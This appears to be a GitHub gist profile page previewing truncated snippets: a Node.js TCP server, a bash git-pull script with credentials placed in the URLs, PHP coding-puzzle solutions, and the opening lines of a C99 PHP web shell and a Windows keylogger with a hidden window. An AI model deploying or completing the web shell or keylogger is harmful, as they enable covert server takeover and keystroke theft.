Skip to content

Instantly share code, notes, and snippets.

View cyberinferno's full-sized avatar
🎯
Focusing

Karthik Panjaje cyberinferno

🎯
Focusing
View GitHub Profile
@cyberinferno
cyberinferno / tcp_server.js
Created June 16, 2016 09:35
Simple TCP server
var net = require('net');
var server = net.createServer();
server.on('connection', handleConnection);
server.listen(9000, function() {
console.log('server listening to %j', server.address());
});
function handleConnection(conn) {
@cyberinferno
cyberinferno / pullall.sh
Last active December 30, 2015 11:56
Pull all git repositories you have checked out in different directories
#!/bin/bash
declare -A arr;
arr=(
["/var/www/dir1/"]="https://username:password@git.url.of.project1"
["/var/www/dir2/"]="https://username:passwordp@git.url.of.project2"
["/var/www/dir3/"]="https://username:password@git.url.of.project3"
);
for K in "${!arr[@]}";
do cd $K;
git pull ${arr[$K]}".git";
<?php
function solution($A)
{
if (count($A) == 1) {
if ($A[0] == 1) {
return 2;
} else {
return 1;
}
}
<?php
function solution($A)
{
if (count($A) == 1 && $A[0] != 1) {
return 0;
}
sort($A);
if ($A[0] != 1 || $A[count($A) - 1] != count($A)) {
return 0;
}
<?php
function solution($X, $A)
{
for ($i = 0; $i < count($A);$i++) {
$filled[$A[$i]] = 1;
}
if (count($filled) < $X) {
return -1;
}
return array_search(array_flip($filled)[1], $A);
<?php
function solution($X, $Y, $D) {
if ($X == $Y) {
return 0;
}
return (int)ceil(($Y - $X)/$D);
}
<?php
function solution($A) {
$sum = array_sum($A);
$leastDiff = abs($A[0]*2 - $sum);
$currentP = 1;
$sumLeft = 0;
for ($i = 0; $i < count($A) - 1; $i++) {
$sumLeft += $A[$i];
$sum -= $A[$i];
$diff = abs($sumLeft - $sum);
<?php
function solution($A) {
$arraySum = array_sum($A);
if (count($A) == 0) {
return -1;
}
$sumLeft = 0;
$sumRight = 0;
for ($i = 0; $i < count($A); $i++) {
$sumRight = $arraySum - $sumLeft - $A[$i];
@cyberinferno
cyberinferno / c99.php
Created March 6, 2015 21:52
Formated C99 shell
<?php
if(!function_exists("getmicrotime")) {
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float) $usec + (float) $sec);
}
}
error_reporting(5);
@ignore_user_abort(TRUE);
‪#‎include‬ <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h >‪
#‎define‬ BUFSIZE 80
int test_key(void);
int create_key(char * );
int get_keys(void);
int main(void) {
HWND stealth; /*creating stealth (window is not visible)*/